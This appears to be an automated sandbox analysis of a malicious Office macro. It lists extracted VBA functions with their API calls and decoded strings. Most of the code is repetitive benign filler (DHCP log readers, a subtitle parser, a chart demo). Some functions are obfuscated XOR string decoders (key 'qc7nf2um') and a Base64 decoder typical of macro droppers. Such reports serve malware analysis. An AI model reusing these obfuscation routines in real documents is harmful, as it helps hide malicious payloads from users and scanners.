                                                                                                                                                      Endif

                                                                                                                                                      320

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      322

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      323

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      325

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      326

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      329

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      331

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      332

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      333

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      334

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      335

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      336

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      337

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      338

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      339

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      340

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      341

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      342

                                                                                                                                                      i = i + 1

                                                                                                                                                      343

                                                                                                                                                      Endif

                                                                                                                                                      344

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      346

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      347

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      349

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      350

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      353

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      355

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      356

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      357

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      358

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      359

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      360

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      361

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      362

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      363

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      364

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      365

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      366

                                                                                                                                                      i = i + 1

                                                                                                                                                      367

                                                                                                                                                      Endif

                                                                                                                                                      368

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      370

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      371

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      373

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      374

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      377

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      379

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      380

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      381

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      382

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      383

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      384

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      385

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      386

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      387

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      388

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      389

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      390

                                                                                                                                                      i = i + 1

                                                                                                                                                      391

                                                                                                                                                      Endif

                                                                                                                                                      392

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      394

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      395

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      397

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      398

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      401

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      403

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      404

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      405

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      406

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      407

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      408

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      409

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      410

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      411

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      412

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      413

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      414

                                                                                                                                                      i = i + 1

                                                                                                                                                      415

                                                                                                                                                      Endif

                                                                                                                                                      416

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      418

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      427

                                                                                                                                                      End Sub

                                                                                                                                                      Function ParseSrt, APIs: 33, Strings: 38, Number of lines: 62, Relevance: 106.562
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      OpenTextFile

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Left

                                                                                                                                                      Split

                                                                                                                                                      Mid

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      Replace

                                                                                                                                                      Replace

                                                                                                                                                      vbCrLf

                                                                                                                                                      Replace

                                                                                                                                                      mult

                                                                                                                                                      Replace

                                                                                                                                                      mult

                                                                                                                                                      Replace

                                                                                                                                                      mult

                                                                                                                                                      vbCrLf

                                                                                                                                                      vbCrLf

                                                                                                                                                      Split

                                                                                                                                                      vbCrLf

                                                                                                                                                      UBound

                                                                                                                                                      Int

                                                                                                                                                      UBound

                                                                                                                                                      Replace

                                                                                                                                                      vbCrLf

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Close

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      """"
                                                                                                                                                      """"
                                                                                                                                                      " --> "
                                                                                                                                                      """"
                                                                                                                                                      "&gt;"
                                                                                                                                                      "&lt;"
                                                                                                                                                      ","
                                                                                                                                                      "."
                                                                                                                                                      ":"
                                                                                                                                                      "<"
                                                                                                                                                      ">"
                                                                                                                                                      " --> "
                                                                                                                                                      ":"
                                                                                                                                                      ":"
                                                                                                                                                      """"
                                                                                                                                                      """"
                                                                                                                                                      "&gt;"
                                                                                                                                                      "&lt;"
                                                                                                                                                      "<"
                                                                                                                                                      ">"
                                                                                                                                                      "&lt;"
                                                                                                                                                      "<"
                                                                                                                                                      "&gt;"
                                                                                                                                                      ">"
                                                                                                                                                      """"
                                                                                                                                                      """"
                                                                                                                                                      ","
                                                                                                                                                      "."
                                                                                                                                                      ","
                                                                                                                                                      "."
                                                                                                                                                      ","
                                                                                                                                                      "."
                                                                                                                                                      ","
                                                                                                                                                      "."
                                                                                                                                                      ","
                                                                                                                                                      "."
                                                                                                                                                      ","
                                                                                                                                                      "."
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      3886

                                                                                                                                                      Function ParseSrt(path, offset, color)

                                                                                                                                                      3888

                                                                                                                                                      Dim svg

                                                                                                                                                      3889

                                                                                                                                                      svg = ""

                                                                                                                                                      3891

                                                                                                                                                      Set f = fso.OpenTextFile(path, 1)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      3893

                                                                                                                                                      Dim num

                                                                                                                                                      3894

                                                                                                                                                      num = ""

                                                                                                                                                      3895

                                                                                                                                                      t1 = 0

                                                                                                                                                      3896

                                                                                                                                                      t2 = 0

                                                                                                                                                      3900

                                                                                                                                                      Do While True

                                                                                                                                                      3901

                                                                                                                                                      If Not (f.AtEndOfStream) Then

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      3902

                                                                                                                                                      num = f.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      3903

                                                                                                                                                      Else

                                                                                                                                                      3904

                                                                                                                                                      Exit Do

                                                                                                                                                      3905

                                                                                                                                                      Endif

                                                                                                                                                      3907

                                                                                                                                                      If Not (f.AtEndOfStream) Then

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      3908

                                                                                                                                                      tt = f.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      3909

                                                                                                                                                      Else

                                                                                                                                                      3910

                                                                                                                                                      Exit Do

                                                                                                                                                      3911

                                                                                                                                                      Endif

                                                                                                                                                      3913

                                                                                                                                                      pos = InStr(tt, " --> ")

                                                                                                                                                      InStr

                                                                                                                                                      3914

                                                                                                                                                      arr1 = Split(Left(tt, pos), ":")

                                                                                                                                                      Split

                                                                                                                                                      Left

                                                                                                                                                      3915

                                                                                                                                                      arr2 = Split(Mid(tt, pos + 5), ":")

                                                                                                                                                      Split

                                                                                                                                                      Mid

                                                                                                                                                      3917

                                                                                                                                                      t1 = arr1(0) * 3600 + arr1(1) * 60 + arr1(2)

                                                                                                                                                      3918

                                                                                                                                                      t2 = arr2(0) * 3600 + arr2(1) * 60 + arr2(2)

                                                                                                                                                      3920

                                                                                                                                                      theText = ""

                                                                                                                                                      3921

                                                                                                                                                      Do While Not (f.AtEndOfStream)

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      3922

                                                                                                                                                      Text = f.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      3923

                                                                                                                                                      Text = Replace(Text, "<", "&lt;")

                                                                                                                                                      Replace

                                                                                                                                                      3924

                                                                                                                                                      Text = Replace(Text, ">", "&gt;")

                                                                                                                                                      Replace

                                                                                                                                                      3926

                                                                                                                                                      If Text = "" Then

                                                                                                                                                      3927

                                                                                                                                                      Exit Do

                                                                                                                                                      3928

                                                                                                                                                      Endif

                                                                                                                                                      3929

                                                                                                                                                      If theText <> "" Then

                                                                                                                                                      3930

                                                                                                                                                      theText = theText & vbCrLf

                                                                                                                                                      vbCrLf

                                                                                                                                                      3931

                                                                                                                                                      Endif

                                                                                                                                                      3932

                                                                                                                                                      theText = theText & Text

                                                                                                                                                      3933

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      3935

                                                                                                                                                      Y = Replace(t1 * mult, ",", ".")

                                                                                                                                                      Replace

                                                                                                                                                      mult

                                                                                                                                                      3936

                                                                                                                                                      h = Replace((t2 - t1) * mult, ",", ".")

                                                                                                                                                      Replace

                                                                                                                                                      mult

                                                                                                                                                      3937

                                                                                                                                                      m = Replace((t1 + (t2 - t1) / 2) * mult, ",", ".")

                                                                                                                                                      Replace

                                                                                                                                                      mult

                                                                                                                                                      3939

                                                                                                                                                      svg = svg & "<rect style=""fill:" & color & """ x=""" & offset & """ y=""" & Y & """ width=""400"" height=""" & h & """/>" & vbCrLf

                                                                                                                                                      vbCrLf

                                                                                                                                                      3942

                                                                                                                                                      svg = svg & "<text dominant-baseline=""middle"" x=""" & offset & """ y=""" & m & """>" & vbCrLf

                                                                                                                                                      vbCrLf

                                                                                                                                                      3943

                                                                                                                                                      Lines = Split(theText, vbCrLf)

                                                                                                                                                      Split

                                                                                                                                                      vbCrLf

                                                                                                                                                      3944

                                                                                                                                                      If UBound(Lines) > 0 Then

                                                                                                                                                      UBound

                                                                                                                                                      3945

                                                                                                                                                      dy = - 0.5 - Int(UBound(Lines) / 2)

                                                                                                                                                      Int

                                                                                                                                                      UBound

                                                                                                                                                      3946

                                                                                                                                                      For Each l in Lines

                                                                                                                                                      3947

                                                                                                                                                      thedy = Replace(dy, ",", ".")

                                                                                                                                                      Replace

                                                                                                                                                      3948

                                                                                                                                                      svg = svg & "<tspan x=""" & offset & """ dy=""" & thedy & "em"">" & l & "</tspan>" & vbCrLf

                                                                                                                                                      vbCrLf

                                                                                                                                                      3949

                                                                                                                                                      dy = 1

                                                                                                                                                      3950

                                                                                                                                                      Next

                                                                                                                                                      3951

                                                                                                                                                      Else

                                                                                                                                                      3952

                                                                                                                                                      svg = svg & Lines(0)

                                                                                                                                                      3953

                                                                                                                                                      Endif

                                                                                                                                                      3954

                                                                                                                                                      svg = svg & "</text>" & vbCrLf

                                                                                                                                                      vbCrLf

                                                                                                                                                      3956

                                                                                                                                                      Wscript.Echo num

                                                                                                                                                      Echo

                                                                                                                                                      3957

                                                                                                                                                      Loop

                                                                                                                                                      3959

                                                                                                                                                      f.Close

                                                                                                                                                      Close

                                                                                                                                                      3960

                                                                                                                                                      If t2 > Max Then

                                                                                                                                                      3961

                                                                                                                                                      Max = t2

                                                                                                                                                      3962

                                                                                                                                                      Endif

                                                                                                                                                      3964

                                                                                                                                                      ParseSrt = svg

                                                                                                                                                      3965

                                                                                                                                                      End Function

                                                                                                                                                      Subroutine tii, APIs: 20, Strings: 13, Number of lines: 26, Relevance: 49.526
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      Randomize

                                                                                                                                                      CreateObject

                                                                                                                                                      Initialize

                                                                                                                                                      SetColumnNames

                                                                                                                                                      Echo

                                                                                                                                                      Int

                                                                                                                                                      Rnd

                                                                                                                                                      Add

                                                                                                                                                      Finalize

                                                                                                                                                      Left

                                                                                                                                                      ScriptFullName

                                                                                                                                                      Wscript

                                                                                                                                                      InStrRev

                                                                                                                                                      LoadChartTemplate

                                                                                                                                                      ReplaceTag

                                                                                                                                                      ReplaceTag

                                                                                                                                                      ReplaceTag

                                                                                                                                                      SaveChart

                                                                                                                                                      CreateObject

                                                                                                                                                      Run

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "Vbsedit.PivotTable"
                                                                                                                                                      "Number of events"
                                                                                                                                                      "Sum"
                                                                                                                                                      "n"
                                                                                                                                                      "\"
                                                                                                                                                      "column"
                                                                                                                                                      "Central limit theorem"
                                                                                                                                                      "title"
                                                                                                                                                      "bars"
                                                                                                                                                      "vertical"
                                                                                                                                                      "false"
                                                                                                                                                      "stacked"
                                                                                                                                                      "Wscript.Shell"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      116

                                                                                                                                                      Private Sub tii()

                                                                                                                                                      127

                                                                                                                                                      Randomize

                                                                                                                                                      Randomize

                                                                                                                                                      129

                                                                                                                                                      Set pivot = CreateObject("Vbsedit.PivotTable")

                                                                                                                                                      CreateObject

                                                                                                                                                      130

                                                                                                                                                      pivot.Initialize 2, 1

                                                                                                                                                      Initialize

                                                                                                                                                      131

                                                                                                                                                      pivot.SetColumnNames "Sum", "n", "Number of events"

                                                                                                                                                      SetColumnNames

                                                                                                                                                      134

                                                                                                                                                      Total = 100000

                                                                                                                                                      136

                                                                                                                                                      For n = 2 To 7

                                                                                                                                                      137

                                                                                                                                                      Wscript.Echo n

                                                                                                                                                      Echo

                                                                                                                                                      138

                                                                                                                                                      For k = 1 To Total

                                                                                                                                                      139

                                                                                                                                                      s = 0

                                                                                                                                                      140

                                                                                                                                                      For i = 1 To n

                                                                                                                                                      141

                                                                                                                                                      s = s + Int(6 * Rnd + 1)

                                                                                                                                                      Int

                                                                                                                                                      Rnd

                                                                                                                                                      142

                                                                                                                                                      Next

                                                                                                                                                      144

                                                                                                                                                      pivot.Add s, n, 1

                                                                                                                                                      Add

                                                                                                                                                      146

                                                                                                                                                      Next

                                                                                                                                                      147

                                                                                                                                                      Next

                                                                                                                                                      150

                                                                                                                                                      pivot.Finalize

                                                                                                                                                      Finalize

                                                                                                                                                      153

                                                                                                                                                      folder = Left(Wscript.ScriptFullName, InStrRev(Wscript.ScriptFullName, "\"))

                                                                                                                                                      Left

                                                                                                                                                      ScriptFullName

                                                                                                                                                      Wscript

                                                                                                                                                      InStrRev

                                                                                                                                                      155

                                                                                                                                                      pivot.LoadChartTemplate "column"

                                                                                                                                                      LoadChartTemplate

                                                                                                                                                      156

                                                                                                                                                      pivot.ReplaceTag "title", "Central limit theorem"

                                                                                                                                                      ReplaceTag

                                                                                                                                                      157

                                                                                                                                                      pivot.ReplaceTag "bars", "vertical"

                                                                                                                                                      ReplaceTag

                                                                                                                                                      158

                                                                                                                                                      pivot.ReplaceTag "stacked", "false"

                                                                                                                                                      ReplaceTag

                                                                                                                                                      159

                                                                                                                                                      pivot.SaveChart folder & "column1.htm"

                                                                                                                                                      SaveChart

                                                                                                                                                      161

                                                                                                                                                      Set Shell = CreateObject("Wscript.Shell")

                                                                                                                                                      CreateObject

                                                                                                                                                      162

                                                                                                                                                      Shell.Run folder & "column1.htm", 1, False

                                                                                                                                                      Run

                                                                                                                                                      165

                                                                                                                                                      End Sub

                                                                                                                                                      Function Base64ToArray, APIs: 20, Strings: 3, Number of lines: 9, Relevance: 34.509
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      CreateObject

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: p_

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: LBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Chr

                                                                                                                                                      createElement

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: p_

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: LBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Chr

                                                                                                                                                      DataType

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: p_

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: LBound

                                                                                                                                                      Part of subcall function vw823nw7@ThisDocument: UBound

                                                                                                                                                      Chr

                                                                                                                                                      Text

                                                                                                                                                      NodeTypedValue

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "I""""W"""\"I"H""6"""*"""@"""K""I""@"k"g""q""i"a"""j""""p"""
                                                                                                                                                      "f"""2"""0"
                                                                                                                                                      ""f"m"""j"""*f"""e"""w""a"2"0"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      101

                                                                                                                                                      Private Function Base64ToArray(base64 as String) as Variant

                                                                                                                                                      103

                                                                                                                                                      Dim oc41c7c4 as Object

                                                                                                                                                      104

                                                                                                                                                      Dim uk9vchaq as Object

                                                                                                                                                      106

                                                                                                                                                      Set oc41c7c4 = CreateObject(vw823nw7("I" & "" & "W" & "" & Chr(92) & "I" & Chr(72) & "" & Chr(54) & "" & "*" & "" & Chr(64) & "" & "K" & "I" & "@" & Chr(107) & "g" & "q" & "i" & Chr(97) & "" & "j" & "" & "p" & ""))

                                                                                                                                                      CreateObject

                                                                                                                                                      Chr

                                                                                                                                                      107

                                                                                                                                                      Set uk9vchaq = oc41c7c4.createElement(vw823nw7("f" & "" & Chr(50) & "" & "0"))

                                                                                                                                                      createElement

                                                                                                                                                      Chr

                                                                                                                                                      109

                                                                                                                                                      uk9vchaq.DataType = vw823nw7("f" & Chr(109) & "" & "j" & "" & Chr(42) & Chr(102) & "" & "e" & "" & Chr(119) & "" & Chr(97) & "2" & Chr(48))

                                                                                                                                                      DataType

                                                                                                                                                      Chr

                                                                                                                                                      110

                                                                                                                                                      uk9vchaq.Text = base64

                                                                                                                                                      Text

                                                                                                                                                      112

                                                                                                                                                      Base64ToArray = uk9vchaq.NodeTypedValue

                                                                                                                                                      NodeTypedValue

                                                                                                                                                      114

                                                                                                                                                      End Function

                                                                                                                                                      Function SecondsToString, APIs: 8, Strings: 6, Number of lines: 21, Relevance: 21.021
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      Int

                                                                                                                                                      Len

                                                                                                                                                      Int

                                                                                                                                                      Len

                                                                                                                                                      Int

                                                                                                                                                      Len

                                                                                                                                                      FormatNumber

                                                                                                                                                      Mid

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "0"
                                                                                                                                                      "0"
                                                                                                                                                      "0"
                                                                                                                                                      "0"
                                                                                                                                                      "0"
                                                                                                                                                      "0"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      4116

                                                                                                                                                      Function SecondsToString(seconds)

                                                                                                                                                      4117

                                                                                                                                                      Dim t

                                                                                                                                                      4118

                                                                                                                                                      t = seconds

                                                                                                                                                      4119

                                                                                                                                                      h = Int(t / 3600)

                                                                                                                                                      Int

                                                                                                                                                      4120

                                                                                                                                                      t = t - h * 3600

                                                                                                                                                      4121

                                                                                                                                                      If Len(h) = 1 Then

                                                                                                                                                      Len

                                                                                                                                                      4122

                                                                                                                                                      h = "0" & h

                                                                                                                                                      4123

                                                                                                                                                      Endif

                                                                                                                                                      4124

                                                                                                                                                      n = Int((t Mod 3600) / 60)

                                                                                                                                                      Int

                                                                                                                                                      4125

                                                                                                                                                      t = t - n * 60

                                                                                                                                                      4126

                                                                                                                                                      If Len(n) = 1 Then

                                                                                                                                                      Len

                                                                                                                                                      4127

                                                                                                                                                      n = "0" & n

                                                                                                                                                      4128

                                                                                                                                                      Endif

                                                                                                                                                      4129

                                                                                                                                                      s = Int(t)

                                                                                                                                                      Int

                                                                                                                                                      4130

                                                                                                                                                      If Len(s) = 1 Then

                                                                                                                                                      Len

                                                                                                                                                      4131

                                                                                                                                                      s = "0" & s

                                                                                                                                                      4132

                                                                                                                                                      Endif

                                                                                                                                                      4133

                                                                                                                                                      m = t - s

                                                                                                                                                      4134

                                                                                                                                                      m = FormatNumber(m, 3)

                                                                                                                                                      FormatNumber

                                                                                                                                                      4136

                                                                                                                                                      SecondsToString = h & ":" & n & ":" & s & "," & Mid(m, 3)

                                                                                                                                                      Mid

                                                                                                                                                      4137

                                                                                                                                                      End Function

                                                                                                                                                      Function StringToSeconds, APIs: 4, Strings: 2, Number of lines: 12, Relevance: 9.012
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      Split

                                                                                                                                                      Split

                                                                                                                                                      UBound

                                                                                                                                                      UBound

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      ":"
                                                                                                                                                      ","
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      4140

                                                                                                                                                      Function StringToSeconds(str)

                                                                                                                                                      4142

                                                                                                                                                      arr = Split(str, ":")

                                                                                                                                                      Split

                                                                                                                                                      4144

                                                                                                                                                      t = arr(0) * 3600 + arr(1) * 60

                                                                                                                                                      4146

                                                                                                                                                      s = Split(arr(2), ",")

                                                                                                                                                      Split

                                                                                                                                                      4148

                                                                                                                                                      If UBound(s) >= 0 Then

                                                                                                                                                      UBound

                                                                                                                                                      4149

                                                                                                                                                      t = t + s(0)

                                                                                                                                                      4151

                                                                                                                                                      If UBound(s) >= 1 Then

                                                                                                                                                      UBound

                                                                                                                                                      4152

                                                                                                                                                      t = t + s(1) / 1000

                                                                                                                                                      4153

                                                                                                                                                      Endif

                                                                                                                                                      4154

                                                                                                                                                      Endif

                                                                                                                                                      4156

                                                                                                                                                      StringToSeconds = t

                                                                                                                                                      4157

                                                                                                                                                      End Function

                                                                                                                                                      Function xwygun72, APIs: 4, Strings: 1, Number of lines: 20, Relevance: 7.52
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      p_

                                                                                                                                                      UBound

                                                                                                                                                      LBound

                                                                                                                                                      UBound

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "qc7nf2um"
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      12

                                                                                                                                                      Function xwygun72(str as String) as String

                                                                                                                                                      13

                                                                                                                                                      Const p_ as String = "qc7nf2um"

                                                                                                                                                      14

                                                                                                                                                      Dim sb_() as Byte, pb_() as Byte

                                                                                                                                                      15

                                                                                                                                                      sb_ = t8gb(str)

                                                                                                                                                      16

                                                                                                                                                      pb_ = t8gb(p_)

                                                                                                                                                      p_

                                                                                                                                                      18

                                                                                                                                                      Dim uL as Long

                                                                                                                                                      19

                                                                                                                                                      uL = UBound(sb_)

                                                                                                                                                      UBound

                                                                                                                                                      21

                                                                                                                                                      Redim scb_(0 To uL)

                                                                                                                                                      23

                                                                                                                                                      Dim idx as Long

                                                                                                                                                      25

                                                                                                                                                      For idx = LBound(sb_) To uL

                                                                                                                                                      LBound

                                                                                                                                                      26

                                                                                                                                                      If Not sb_(idx) = 0 Then

                                                                                                                                                      27

                                                                                                                                                      c = sb_(idx)

                                                                                                                                                      28

                                                                                                                                                      For i = 0 To UBound(pb_)

                                                                                                                                                      UBound

                                                                                                                                                      29

                                                                                                                                                      c = c Xor pb_(i)

                                                                                                                                                      30

                                                                                                                                                      Next i

                                                                                                                                                      UBound

                                                                                                                                                      31

                                                                                                                                                      scb_(idx) = c

                                                                                                                                                      32

                                                                                                                                                      Endif

                                                                                                                                                      34

                                                                                                                                                      Next idx

                                                                                                                                                      LBound

                                                                                                                                                      36

                                                                                                                                                      xwygun72 = o51z(scb_)

                                                                                                                                                      37

                                                                                                                                                      End Function

                                                                                                                                                      Function vw823nw7, APIs: 4, Strings: 1, Number of lines: 20, Relevance: 7.52
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      p_

                                                                                                                                                      UBound

                                                                                                                                                      LBound

